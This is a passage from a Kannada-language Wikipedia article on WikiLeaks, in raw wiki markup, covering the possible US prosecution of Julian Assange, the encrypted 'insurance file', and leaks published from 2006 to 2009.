2010}}</ref> ====ಸಂಭಾವ್ಯ ಅಪರಾಧದ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸುವುದು==== ಯುಎಸ್ನ ನ್ಯಾಯಾಂಗ ಇಲಾಖೆ ವಿಕಿಲೀಕ್ಸ್‌ನ ಅಪರಾಧದ ಪರೀಕ್ಷಣ ಒಂದನ್ನು ತೆರೆಯಿತು ಮತ್ತು ಸ್ಥಾಪಕ ಜೂಲಿಯನ್‌ ಅಸ್ಸಾಂಜೆ ರಾಜತಂತ್ರದ ತಂತಿಯ ವಾರ್ತೆ ಬಯಲುಗಳ ಕೆಲ ಕಾಲ ನಂತರವೆ ಆರಂಭಿಸಿದರು.<ref name="Savage20101201">{{cite news |last=Savage |first=Charlie |title=U.S. Weighs Prosecution of WikiLeaks Founder, but Legal Scholars Warn of Steep Hurdles |date=1 December 2010 |url=https://www.nytimes.com/2010/12/02/world/02legal.html |newspaper=The New York Times |accessdate=5 December 2010}}</ref><ref name="WPost">{{cite news|last=Yost|first=Pete|title=Holder says WikiLeaks under criminal investigation|url=http://www.foxnews.com/us/2010/11/29/holder-says-wikileaks-criminal-investigation/|accessdate=5 December 2010|newspaper=[[Fox News]]|date=29 November 2010}}</ref> ಅಟಾರ್ನಿ ಜನರಲ್ ಎರಿಕ್ ಹೋಲ್ಡರ್ ಪರೀಕ್ಷಣ {{q|not sabre-rattling}}ವಾಗಿತ್ತು ಆದರೆ ಇದೊಂದು "ಸಕ್ರಿಯ, ನಿರಂತರ ನಡೆಯುವ ಅಪರಾಧದ ತನಿಖೆ" ಎಂದು ಒಪ್ಪಿಕೊಂಡರು.<ref name="WPost" /> ಎಸ್ಪಿಯೊನೆಜ್ ವಿಧಿಯ ಅಡಿಯಲ್ಲಿ ಇಲಾಖೆಯು ವೆಚ್ಚವನ್ನು ಪರಿಗಣಿಸುತ್ತಿದೆ ಎಂದು ''ದಿ ವಾಷಿಂಗಟನ್ ಪೋಸ್ಟ್'' ವರದಿಸಿದೆ. ಮುದ್ರಣ ಸಂಸ್ಥೆಗೆ ಮೊದಲ ತಿದ್ದುಪಡಿ ಸುರಕ್ಷತೆಗಳ ಕಾರಣ ಮಾಜಿ ಅಭಿಯೋಜಕರು ಈ ನಡಿಗೆಯನ್ನು "ಕಠಿಣ" ಎಂದು ನಿರೂಪಿಸಿದರು.<ref name="Savage20101201" /><ref name="nakashima">{{cite news |last=Nakashima |first=Ellen |coauthor=Markon, Jerry |title=WikiLeaks founder could be charged under Espionage Act |url=http://www.washingtonpost.com/wp-dyn/content/article/2010/11/29/AR2010112905973.html|accessdate=5 December 2010|newspaper=The Washington Post|date=30 November 2010}}</ref> ಪ್ರಕಾಶಕರು ಮಾಹಿತಿ ಪಡೆದು ಕೊಳ್ಳುವಾಗ ತಾವಾಗಿಯೆ ಯಾವುದೇ ನಿಯಮ ಉಲ್ಲಂಘಿಸದಿದ್ದಲ್ಲಿ ಅಮೇರಿಕಾದ ಸಂವಿಧಾನ ಅಕ್ರಮವಾಗಿ ಪಡೆದ ಮಾಹಿತಿಯ ಪುನರ್‌ಪ್ರಕಾಶನವನ್ನು ಸಂರಕ್ಷಿಸುತ್ತದೆ. ಈ ತರಹದ ಹಲವು ಪ್ರಸಂಗಗಳು ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯದಲ್ಲಿ ಈ ಹಿಂದೆ ಪ್ರಮಾಣೀಕರಿಸಲ್ಪಟ್ಟಿವೆ.<ref>{{cite web| url=http://blogs.wsj.com/law/2010/07/26/pentagon-papers-ii-on-wikileaks-and-the-first-amendment/| accessdate = 6 December 2010 | date=26 July 2010| title= Pentagon Papers II? On WikiLeaks and the First Amendment|work=The Wall Street Journal | author=Ashby Jones}}</ref> ಸಂಯುಕ್ತ ಅಭಿಯೋಜಕರು, ಕದ್ದ ಸರ್ಕಾರಿ ಆಸ್ಥಿಯ ಅಕ್ರಮ ವ್ಯಾಪಾರ ಮಾಡಿದ ಕಾರಣ ಅಸ್ಸಾಂಜೆ ವಿರುದ್ಧ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸುವುದಾಗಿ ಕೂಡ ಪರಿಗಣಿಸಿದರು, ಆದರೆ ರಾಜತಾಂತ್ರಿಕ ತಂತಿ ವಾರ್ತೆ ಭೌತಿಕ ಆಸ್ಥಿವಲ್ಲದೆ ಬೌದ್ಧಿಕವಿದ್ದ ಕಾರಣ ಈ ಹಾದಿಯಲ್ಲು ಅಡಚಣೆಗಳನ್ನು ಎದುರಿಸ ಬೇಕಾಯಿತು.<ref>{{cite news|last=Savage|first=Charlie|title=U.S. Prosecutors Study WikiLeaks Prosecution|url=https://www.nytimes.com/2010/12/08/world/08leak.html?partner=rss&emc=rss|accessdate=9 December 2010|newspaper=[[ದ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್]]|date=7 December 2010}}</ref> ಅಸ್ಸಾಂಜೆ‌ನ ವಿರುದ್ಧ ಕಾನೂನು ಕ್ರಮ ಜರುಗಿಸುವುದಕ್ಕೆ ಅವನನ್ನು ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಕ್ಕೆ ವಶಪಡಿಸುವುದು ಅಗತ್ಯವಾಗಿತ್ತು, ಇನ್ನೊಂದು ಹೆಜ್ಜೆ ಜಟಿಲ ಮಾಡಿದಂತಾಯಿತು ಹಾಗೂ ಸ್ವಿಡನ್‌ಗೆ ಯಾವುದೇ ಹಿಂದಿನ ವಶಪಡಿಸುವಿಕೆಯನ್ನು ಸಮರ್ಥವಾಗಿ ತಡ ಮಾಡಿದಂತಾಯಿತು.<ref>{{cite news |first=Anthony |last=Faiola |first2=Jerry |last2=Markon|title=WikiLeaks founder's arrest in Britain complicates efforts to extradite him|url=http://www.washingtonpost.com/wp-dyn/content/article/2010/12/07/AR2010120700721.html|accessdate=9 December 2010|date=7 December 2010}}</ref> ಹೇಗಿದ್ದರೂ, ಅಸ್ಸಾಂಜೆ‌ನ ಒಬ್ಬ ವಕೀಲರು ಹೇಳುತ್ತಾರೆ, ಅವರು ಅವರನ್ನು ಸ್ವಿಡನ್‌ಗೆ ಕೈವರ್ತನೆ ಮಾಡುವುದರ ವಿರುದ್ಧ ಹೋರಾಡುತ್ತಿದ್ದಾರೆ. ಕಾರಣ ಇದು ಅ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಕೈವರ್ತನೆ ಮಾಡುವುದಕ್ಕೆ ದಾರಿಯಾಗುತ್ತದೆ.<ref>{{cite news | url = https://www.theguardian.com/media/2010/dec/05/julian-assange-lawyers-being-watched | title = Julian Assange's lawyers say they are being watched | first=Sam |last=Jones |work=The Guardian |location=UK | date = 5 December 2010 | accessdate = 5 December 2010}}</ref> ಅಸ್ಸಾಂಜೆ‌ನ ನ್ಯಾಯವಾದಿ, ಮಾರ್ಕ್ ಸ್ಟೆಫೆನ್ಸ್, "ಅಲೆಕ್ಸಾಂಡ್ರಿಯಾದಲ್ಲಿ [ವರ್ಜೀನಿಯ] ಒಂದು ಗೌಪ್ಯ ಅತ್ಯುಚ್ಚ ತೀರ್ಪುಗಾರರ ಸಮಿತಿಯನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಮೊಕದ್ದಮೆಯಲ್ಲಿ ಅಪರಾಧದ ಆರೋಪಗಳನ್ನು ಪರಿಗಣಿಸಲು ರೂಪಿಸಲಾಗಿದೆ ಎಂದು ಸ್ವೀಡಿಶ್ ಅಧಿಕಾರಿಗಳಿಂದ ಗೊತ್ತಾಗಿದೆ ಎಂದಿದ್ದಾರೆ".<ref>{{cite news |title=Assange attorney: Secret grand jury meeting in Virginia on WikiLeaks |url=http://edition.cnn.com/2010/CRIME/12/13/wikileaks.investigation/index.html |date=13 December 2010 |publisher=CNN International |accessdate=13 December 2010}}</ref> ಆಸ್ಟ್ರೇಲಿಯಾದಲ್ಲಿ, ಸರ್ಕಾರ ಹಾಗೂ ಆಸ್ತ್ರೇಲಿಯ ಸಂಯುಕ್ತ ಪೋಲಿಸ್‌ರು ವಿಕಿಲೀಕ್ಸ್‌ಯಿಂದ ಯಾವ ಆಸ್ಟ್ರೇಲಿಯದ ಕಾನೂನಿನ ಉಲ್ಲಂಘನೆಯಾಗಿದೆ ಎಂದು ಹೇಳಲಿಲ್ಲ, ಆದರೆ ವಿಕಿಲೀಕ್ಸ್‌ನ ಅಡಿಪಾಯಿ ಹಾಗೂ ರಹಸ್ಯ ದಾಖಲೆಗಳನ್ನು ಯುಎಸ್ ಆಡಳಿತದಿಂದ ಕದಿಯುವುದು ವಿದೇಶಗಳಲ್ಲಿ ಕಾನೂನುಬಾಹಿರ ಎಂದು ಜೂಲಿಯ ಗಿಲಾರ್ಡ್ ಹೇಳಿದ್ದಾರೆ.<ref>{{cite interview |title=Gillard refines verdict on Assange |first=Julia |last=Gillard |date=7 December 2010 |url=http://www.abc.net.au/worldtoday/content/2010/s3086783.htm |interviewer=Lyndal Curtis |program=[[The World Today]] |callsign=[[Australian Broadcasting Corporation|ABC Radio]] |accessdate=12 December 2010}}</ref> ತಮ್ಮ ಹೇಳಿಕೆಯನ್ನು ಹೀಗೆ ಸ್ಪಷ್ಟಪಡಿಸಿದರು, "ಮಿ. ಅಸ್ಸಾಂಜೆ‌ ಅವರಿಂದ ಆಗಿದ್ದಲ್ಲ, ಹೊರತಾಗಿ ಇದು ಯುಎಸ್ ಸೈನಿಕನೊಬ್ಬನಿಂದ ಆಗಿದ್ದು".<ref>{{cite news |first=Patricia |last=Karvelas |title=Party revolt growing over Prime Minister Julia Gillard's WikiLeaks stance |newspaper=[[The Australian]] |date=14 December 2010 |http://www.news.com.au/features/wikileaks/party-revolt-at-pms-wiki-stance/story-fn79cf6x-1225970594165 |accessdate=14 December 2010}}</ref> ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನಾಗರೀಕ ಹಕ್ಕುಗಳ ಸಂಘವಾದ ಲಿಬರ್ಟೀ ವಿಕ್ಟೋರಿಯಾದ ಅಧ್ಯಕ್ಷ ಸ್ಪೆನ್ಸರ್ ಜಿಫ್ಕಾಕ್ ಯಾವುದೇ ದೂರಿಲ್ಲದೇ, ಯಾವುದೇ ಕಾನೂನಿನ ತನಿಖೆಯಾಗದೇ ವಿಕಿಲೀಕ್ಸ್ ಕಾನೂನು ಬಾಹೀರ ಕಾರ್ಯ ಮಾಡುತ್ತಿದೆ ಎಂದು ಹೇಳುವುದು ತಪ್ಪಾಗುತ್ತದೆ ಎಂದು ಹೇಳಿದ್ದಾರೆ.<ref>{{cite interview |first=Jennifer |last=Robinson |first2=Spencer |last2=Zifcak |first3=Ben |last3=Saul |title=Law experts say WikiLeaks in the clear |quote="There is no charge and there has been no trial and even given all of those things the Prime Minister had the confidence to say that Mr Assange was guilty of illegality. Now that seems to me to be completely inappropriate." |interviewer=Simon Lauder |program=[[The World Today]] |callsign=[[Australian Broadcasting Corporation|ABC Radio]] |url=http://www.abc.net.au/worldtoday/content/2010/s3086781.htm |date=7 December 2010 |accessdate=12 December 2010}}</ref> ಅನೇಕ ಸರ್ಕಾರಗಳು ಅಸ್ಸಾಂಜೆ ಬೆದರಿಕೆ ಒಡ್ಡಿದ ನಂತರದಲ್ಲಿ, ಕಾನೂನು ತಜ್ಞ ಬೆನ್ ಸಾವುಲ್ ಹೇಳುತ್ತಾರೆ, ಸ್ಥಾಪಕನಾದ ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ‌ನನ್ನು ಯಾವುದೇ ಕಾನೂನೀ ಆಧಾರವಿಲ್ಲದಿದ್ದರೂ ಜಾಗತೀಕವಾಗಿ ಒಬ್ಬ ಅಪರಾಧಿಯನ್ನಾಗಿ, ಒಬ್ಬ ಉಗ್ರವಾದಿಯನ್ನಾಗಿ ಚಿತ್ರಿಸುವ ಪ್ರಯತ್ನ ನಡೆಯುತ್ತಿದೆ.<ref>{{harvnb|Lauder|2010}}:ಡಾ.ಬೆನ್ ಸೌಲ್, ಸಿಢ್ನಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾನೂನು ವಿಭಾಗದ ಮುಖ್ಯಸ್ಥರ ಹೇಳಿಕೆ.</ref> ಸೆಂಟರ್ ಫಾರ್ ಕಾನ್ಸ್‌ಟಿಟ್ಯೂಶನಲ್ ರೈಟ್ಸ್ ಒಂದು ಹೇಳಿಕೆಯನ್ನು ಪ್ರಕಟಿಸಿದ್ದು, ಅದು ಅಸ್ಸಾಂಜೆ‌ನ ಬಂಧನ ಮಾಡುವಲ್ಲಿರುವ "ಬಹುಸಂಖ್ಯೆಯಲ್ಲಿ ಕಾನೂನನ್ನು ಮೀರಿದ್ದು ಮತ್ತು ಅಕ್ರಮಗಳ ಉದಾಹರಣೆಗಳು ಸಿಗುತ್ತವೆ" ಎಂದು ಹೇಳಿದರು.<ref>{{cite web |url=http://ccrjustice.org/newsroom/press-releases/ccr-statement-arrest-of-wikileaks-founder-julian-assange |title=CCR Statement on Arrest of WikiLeaks Founder Julian Assange |publisher=[[Center for Constitutional Rights]] |accessdate=21 December 2010}}</ref> ===ಇನ್‌ಶೂರೆನ್ಸ್ ಫೈಲ್=== 29 ಜುಲೈ 2010 ರಂದು ವಿಕಿಲೀಕ್ಸ್ ಒಂದು 1.4 ಜಿಬಿ ಗಾತ್ರದ "ಇನ್ಶುರೆನ್ಸ್ ಫೈಲನ್ನು" ಅಫ್ಘಾನ್ ವಾರ್ ಡೈರಿ ಪುಟಕ್ಕೆ ಸೇರಿಸಿತು. ಆ ಕಡತವು ಎಇಎಸ್ ಎನ್‌ಕ್ರಿಪ್ಟೆಡ್ ಆಗಿತ್ತು ಮತ್ತು ಇದು ಒಂದು ವೇಳೆ ವಿಕಿಲೀಕ್ಸ್ ವೆಬ್‌ಸೈಟ್ ಅಥವಾ ಅಸ್ಸಾಂಜೆ ಅಥವಾ ಅವರ ವಕ್ತಾರರನ್ನು ಅನರ್ಹಗೊಳಿಸಿದ್ದರೆ, ಇದು ವಿಮೆಯಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತದೆ ಎಂದು ಹೇಳಲಾಗಿದ್ದು, ಅಂತಹ ಸಂದರ್ಭದಲ್ಲಿ ಈ ಪಾಸ್‌ಫ್ರೇಸ್ ಅನ್ನು ಪ್ರಕಟಿಸಬಹುದಾಗಿದೆ. ಇದು ಡೆಡ್ ಮ್ಯಾನ್ಸ್ ಸ್ವಿಚ್ ಕಲ್ಪನೆಗೆ ಸಮಾನವಾಗಿದೆ.<ref name="wired_insurance">{{cite web|last=Zetter|first=Kim|title=WikiLeaks Posts Mysterious 'Insurance' File|url=https://www.wired.com/threatlevel/2010/07/wikileaks-insurance-file/|publisher=Wired.com|accessdate=31 July 2010}}</ref><ref name="telegraph_dns_insuranceaes">{{cite news |first=Victoria |last=Ward |pages= |language= |title=WikiLeaks website disconnected as US company withdraws support |date=3 December 2010 |work=The Daily Telegraph |location=UK |url=http://www.telegraph.co.uk/news/worldnews/wikileaks/8178457/WikiLeaks-website-disconnected-as-US-company-withdraws-support.html |accessdate=3 December 2010 |archiveurl=https://www.webcitation.org/5uhylLWl9?url=http://www.telegraph.co.uk/news/worldnews/wikileaks/8178457/WikiLeaks-website-disconnected-as-US-company-withdraws-support.html |archivedate=3 ಡಿಸೆಂಬರ್ 2010 |deadurl=no |url-status=live }}</ref> ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಡಿಪ್ಲೊಮ್ಯಾಟೀಕ್ ಕೇಬಲ್‌ಗಳ ಬಿಡುಗಡೆಯ ಕೆಲವು ದಿನಗಳ ನಂತರ 28 ನವೆಂಬರ್ 2010 ದಿಂದ ಪ್ರಾರಂಭವಾಗಿ, ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ದೂರದರ್ಶನ ಸಿಬಿಎಸ್ ಹೇಳಿತು, "ಒಂದು ವೇಳೆ ಅಸ್ಸಾಂಜೆ ಅಥವಾ ಈ ವೆಬ್‌ಸೈ‌ಟ್‌ಗೆ ಏನಾದರೂ ಆದರೆ, ಒಂದು ಕೀಲಿಯು ಈ ಕಡತಗಳನ್ನು ತೆರೆಯಲಿದೆ. ಒಂದು ವೇಳೆ ಹಾಗಾದರೆ ಆ ಮಾಹಿತಿಯು ಕಾಡಿನ ಬೆಂಕಿಯಂತೆ ಹಬ್ಬಲಿದ್ದು ಅದನ್ನು ತಡೆಯಲು ಯಾರಿಗೂ ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ, ಏಕೆಂದರೆ ಬಹಳಷ್ಟ ಜನರ ಬಳಿ ಪ್ರತಿಗಳಿರುತ್ತವೆ."<ref name="cbsnews_diplomaticbomb">{{cite news | first=Elizabeth | last=Palmer | pages= | language= | title=WikiLeaks Backup Plan Could Drop Diplomatic Bomb | date=2 December 2010 | publisher=[[CBS]] | url=http://www.cbsnews.com/stories/2010/12/02/eveningnews/main7111845.shtml | accessdate=3 December 2010 | archiveurl=https://www.webcitation.org/5uhyqi1SX?url=http://www.cbsnews.com/stories/2010/12/02/eveningnews/main7111845.shtml | archivedate=3 ಡಿಸೆಂಬರ್ 2010 | deadurl=no | url-status=live }}</ref> ಸಿಬಿಎಸ್ ವರದಿಗಾರ ಡೆಕ್ಲಾನ್ ಮ್ಯಾಕ್‌ಕಲ್ಲಾಗ್ ಪ್ರಕಾರ, "ಹೆಚ್ಚಿನ ಜನರು ಯೋಚಿಸುತ್ತಿರುವ ಪ್ರಕಾರ ಆ ವಿಮಾ ಕಡತವು ಒಂದೊಮ್ಮೆ ಬಿಡುಗಡೆಯಾದರೆ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ನಿಜವಾಗಿ ಪೆಟ್ಟು ನೀಡುವಂತಹದ್ದಾಗಿರುತ್ತದೆ."<ref name="cbsnews_diplomaticbomb" /> ==ಸುದ್ದಿ ಸೋರಿಕೆಗಳು== {{main|Information published by WikiLeaks}} ===2006–08=== ವಿಕಿಲೀಕ್ಸ್ ತನ್ನ ಪ್ರಪ್ರಥಮ ಬಾರಿಗೆ ತನ್ನ ದಾಖಲೆಯನ್ನು ಡಿಸೆಂಬರ್ 2006ರಲ್ಲಿ ಪ್ರಕಟಿಸಿತು. ಆ ವರದಿಯು ಸರಕಾರಿ ಅಧಿಕಾರಿಗಳನ್ನು ಕ್ರೂರವಾಗಿ ಕೊಲ್ಲುವ ಬಗೆಗಿನ ತಿರ್ಮಾನವು ಶೇಕ್ ಹಸನ್ ದಾಹಿರ್ ಅವೇಸ್ ಇವರಿಂದ ಸಹಿ ಮಾಡಲ್ಪಟ್ಟದ್ದಾಗಿತ್ತು".<ref name="Khatchdourian" /> ಆಗಸ್ಟ್‌ 2007ರಲ್ಲಿ ''ದಿ ಗಾರ್ಡಿಯನ್'' ಪತ್ರಿಕೆಯು ಕಿನ್ಯಾದ ಹಿಂದಿನ ನಾಯಕ ಡೆನಿಯಲ್ ಆರಾಪ್ ಮೋಯಿ ಅವರ ಕುಟುಂಬದಿಂದಾದ ಭ್ರಷ್ಟಾಚಾರದ ಬಗ್ಗೆ ಒಂದು ಕತೆಯನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ ನ ದಾಖಲೆಗಳ ಆಧಾರದ ಮೇಲೆ ಪ್ರಕಟಿಸಿತು.<ref>{{cite news | author=| title=The looting of Kenya | url=https://www.theguardian.com/kenya/story/0,,2159757,00.html | work=The Guardian | date=31 August 2007| accessdate=28 February 2008 | location=London | first=Xan | last=Rice}}</ref> ಡಿಸೆಂಬರ್ 2007ರಲ್ಲಿ ಮಾರ್ಚ್‌ 2003ರ ಅಮೇರಿಕಾದ ಗುಂಟಾನಾಮೊ ಡಿಟೆನ್ಶನ್ ಕ್ಯಾಂಪ್‌ನಲ್ಲಿನ ಒಳಸರಿದ ಭಾಗವನ್ನು ತಡೆಗಟ್ಟಲು ಮಾಡಿದ ಯುಎಸ್ ಸೈನಿಕ ಶಿಬಿರದ ಬಗೆಗಿನ ಮಾಹಿತಿಯನ್ನು ಹೊಂದಿರುವ '''ಸ್ಟ್ಯಾಂಡಡ್‌ ಆಪರೇಟಿಂಗ್ ಪ್ರೋಸಿಜರ್ಸ್ ಫಾರ್ ಕ್ಯಾಂಪ್ ಡೆಲ್ಟಾ'' 'ದ ಪ್ರತಿ ಬಿಡುಗಡೆಯಾಯಿತು.<ref>[https://www.wired.com/politics/onlinerights/news/2007/11/gitmo "Sensitive Guantánamo Bay Manual Leaked Through Wiki Site"], ವೈಯರ್ಡ್ 14 ನವೆಂಬರ್ 2007</ref> ಈ ದಾಖಲೆಯಲ್ಲಿದ್ದ ಮಾಹಿತಿ ಪ್ರಕಾರ ಕೆಲವು ಖೈದಿಗಳು [[ಅಂತರರಾಷ್ಟ್ರೀಯ ರೆಡ್ ಕ್ರಾಸ್ ಸಂಸ್ಥೆ|ರೆಡ್‌ ಕ್ರಾಸ್ ಸಂಸ್ಥೆಯ ಅಂತರಾಷ್ಟ್ರೀಯ ಕಮಿಟಿಯ]] ಹಂತವನ್ನು ದಾಟಿ ಹೋಗಿದ್ದರು. ಕೆಲವು ವಿಚಾರದ ಪ್ರಕಾರ ಯುಎಸ್ ಮಿಲಿಟರಿ ಈ ಹಿಂದೆ ಮಾಡಿದ್ದನ್ನು ಅಲ್ಲಗಳೆಯಿತು.<ref name="Reuters 15 November 2007">{{cite news | first= | last= | coauthors= | title=Guantanamo operating manual posted on Internet | date=15 November 2007 | publisher=| url =http://www.reuters.com/article/newsOne/idUSN1424207020071114?pageNumber=1 | work=Reuters | pages = | accessdate = 15 November 2007 | language = }}</ref> ಫೆಬ್ರುವರಿ 2008ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಸ್ವಿಸ್ ಬ್ಯಾಂಕ್ ಜುಲಿಯಸ್ ಬೇರ್ [[ಕೇಮನ್ ದ್ವೀಪಗಳು|ಕೆಮೆನ್ ಐ‌ಲ್ಯಾಂಡ್ಸ್]] ಶಾಖೆಯಲ್ಲಿ ಕಾನೂನುಬಾಹಿರ ಚಟುವಟಿಕೆಗಳ ಬಗ್ಗೆ ಆರೋಪಿಸಿ ಪ್ರಕಟಿಸಿತು. ಆದರೆ ಸ್ವಿಸ್ ಬ್ಯಾಂಕ್ ವಿಕಿಲೀಕ್ಸ್‌ ವಿರುದ್ಧ ದಾವೆ ಹೂಡಿದ್ದರಿಂದಾಗಿ ವಿಕಿಲೀಕ್ಸ್‌ ವಿರುದ್ಧ ತಡೆಯಾಜ್ಞೆ ಬಂದು wikileaks.org ತಾಣವು ತಾತ್ಕಾಲಿಕವಾಗಿ ಸ್ಥಗಿತಗೊಳಿಸಲ್ಪಟ್ಟಿತು.<ref name="injunction">{{cite press release | author=| title=Wikileaks.org under injunction | url=http://www.wikileaks.org/wiki/Wikileaks.org_under_injunction | archiveurl=https://web.archive.org/web/20080306005837/http://www.wikileaks.org/wiki/Wikileaks.org_under_injunction | archivedate=6 March 2008 | publisher=WikiLeaks | date=18 February 2008 | accessdate=28 February 2008}}</ref> ಆದರೆ ವಿಕಿಲೀಕ್ಸ್‌ ಬೆಂಬಲಿಗರಿಂದ ಒತ್ತಾಯ ಬಂದಿದ್ದರಿಂದ ಒಂದು ತಿಂಗಳ ನಂತರ ಕಾನೂನು ವ್ಯಾಪ್ತಿಯ ಕುರಿತಾದ ಫಸ್ಟ್ ಅಮೆಂಡ್‌ಮೆಂಟ್‌ನ ಕಾಳಜಿ ಮತ್ತು ಪ್ರಶ್ನೆಗಳನ್ನು ಉಲ್ಲೇಖಿಸಿ ತಕ್ಷಣವೇ ಜಾರಿಗೆ ಬರುವಂತೆ ಅವರದೇ ಆದ ಮೊದಲ ಆದೇಶವನ್ನು ಹಿಂಪಡೆದರು.<ref name="autogenerated1">{{cite web |url=http://www.theinquirer.net/inquirer/news/1039527/judge-rethinks-wikileaks |title=Judge reverses Wikileaks injunction |publisher=The Inquirer |date=2 March 2008 |accessdate=23 September 2009 |archive-date=3 ಫೆಬ್ರವರಿ 2010 |archive-url=https://web.archive.org/web/20100203065021/http://www.theinquirer.net/inquirer/news/1039527/judge-rethinks-wikileaks |url-status=dead }}</ref><ref>{{cite news | author=Philipp Gollner | work=Reuters| url=http://www.reuters.com/article/internetNews/idUSN2927431720080229 | title=Judge reverses ruling in Julius Baer leak case | date=29 February 2008 | accessdate=1 March 2008}}</ref> ಮಾರ್ಚ್ 2008ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ "ದ ಕಲೆಕ್ಟೆಡ್ ಸೀಕ್ರೆಟ್ ಬೈಬಲ್ಸ್ ಆಫ್ ಸೈಂಟಾಲಜಿ" ಎಂದು ತಾನು ಉಲ್ಲೇಖಿಸುವ ವಿಷಯವನ್ನು ಪ್ರಕಟಿಸಿತು. ಅದರ ಮೂರುದಿನದ ನಂತರ ಕೃತಿಸ್ವಾಮ್ಯದ ಉಲ್ಲಂಘನೆ ಬಗ್ಗೆ ನ್ಯಾಯಾಲಯದಲ್ಲಿ ಖಟ್ಲೆ ಹೂಡುವ ಬಗ್ಗೆ ಬೆದರಿಕೆ ನೀಡಿ ಪತ್ರ ಕಳುಹಿಸಿತು.<ref>{{cite news|url=http://www.theregister.co.uk/2008/04/08/church_of_scientology_contacts_wikileaks/|title=Scientology threatens Wikileaks with injunction|publisher=The Register|date=8 April 2008|accessdate=7 December 2010}}</ref> ಸೆಪ್ಟೆಂಬರ್ 2008ರಲ್ಲಿ ಪ್ರಕಟಿಸಿದವರ ಹೆಸರನ್ನು ಅನಾಮಧೇಯವಾಗಿರಿಸಿ 2008ರ ಅಮೇರಿಕಾದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಸಾರಾ ಪಾಲಿನ್(ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷದ ಅಧ್ಯಕ್ಷ ಅಭ್ಯರ್ಥಿ ಜಾನ್ ಮ್ಯಾಕ್‌ಕೇನ್ ರ ಸಹವರ್ತಿ)ರವರ 'ಯಾಹೂ' ಖಾತೆಯಲ್ಲಿನ ಮಾಹಿತಿಗಳನ್ನು ಅನಾನಿಮಸ್‌ನ ವ್ಯಕ್ತಿಗಳು ಕದಿಯಲ್ಪಟ್ಟ ನಂತರದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಪ್ರಕಟಿಸಿತು.<ref>{{cite web|url=http://blog.wired.com/27bstroke6/2008/09/group-posts-e-m.html|publisher=[[Wired (magazine)|Wired]]|title=Group Posts E-Mail Hacked From Palin Account&nbsp;– Update}}</ref> ನವೆಂಬರ್ 2008ರಲ್ಲಿ 'ಫಾರ್ ರೈಟ್ ಬ್ರಿಟಿಷ್ ನ್ಯಾಶನಲ್ ಪಾರ್ಟಿ' ಪಕ್ಷದ ಅಂತಿಮವಾಗಿ ಹೊರಬರಬಹುದಾದ ಸದಸ್ಯರ ಯಾದಿಯನ್ನು ವಿಕಿಲೀಕ್ಸ್‌ ಪ್ರಕಟಿಸಿತು.<ref>{{cite news|url=http://news.bbc.co.uk/1/hi/england/merseyside/7956824.stm|title ='BNP membership' officer sacked |publisher=BBC | accessdate=23 March 2009 | date=21 March 2009}}</ref> ಅದಾದ ಒಂದು ವರ್ಷದ ನಂತರ ಅಂದರೆ ಅಕ್ಟೋಬರ್ 2009ರಲ್ಲಿ ಬಿ.ಎನ್.ಪಿ ಪಕ್ಷದ ಸದಸ್ಯರ ಮತ್ತೊಂದು ಯಾದಿಯನ್ನು ಪ್ರಕಟಿಸಿತು.<ref>{{cite news |url=https://www.theguardian.com/politics/2009/oct/20/bnp-membership-list-wikileaks |title=BNP membership list leaked |work=Guardian |location=UK | accessdate=20 October 2009 |location=London |first=Robert |last=Booth |date=20 October 2009}}</ref> ===2009=== ಜನವರಿ 2009ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ 2008ರಲ್ಲಿ ಪೇರುವಿನ ತೈಲ ಹಗರಣದಲ್ಲಿ ಭಾಗಿಯಾದ ರಾಜಕಾರಣಿಗಳು ಮತ್ತು ಉದ್ದಿಮೆದಾರರ ನಡುವಿನ 86ರಕ್ಕೂ ಹೆಚ್ಚು ದೂರವಾಣಿ ಸಂಭಾಷಣೆಗಳನ್ನು ಹೊಂದಿದ ಧ್ವನಿಸುರುಳಿಗಳನ್ನು ಪ್ರಕಟಿಸಿತು.<ref>{{cite news|url=http://www.terra.com.pe/noticias/noticias/act1609692/aparecen-86-nuevos-petroaudios-romulo-leon.html|title=Aparecen 86 nuevos petroaudios de Rómulo León|publisher=Terra Peru|language=spanish|date=28 January 2009|accessdate=8 December 2010}}</ref> ಫೆಬ್ರುವರಿಯಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಕಾಂಗ್ರೆಸ್‌‌ನ 6780 ಕಾಂಗ್ರೆಶ್ಶನಲ್ ರಿಸರ್ಚ್ ಸರ್ವೀಸ್<ref>{{cite news|url=https://www.washingtonpost.com/wp-dyn/content/article/2009/02/11/AR2009021101388.html|title=Thousands of Congressional Reports Now Available Online|author=Brian Krebs|work=The Washington Post |date=11 February 2009|accessdate=7 December 2010}}</ref> ವರದಿಗಳನ್ನು ಪ್ರಕಟಿಸಿತು. ಅದೇ ಮಾರ್ಚ್‌ನಲ್ಲಿ ನಾರ್ಮ್ ಕೋಲ್ಮನ್ ಸೆನೆಟೋರಿಯಲ್ ಕ್ಯಾಂಪೇನ್‌<ref>{{cite web 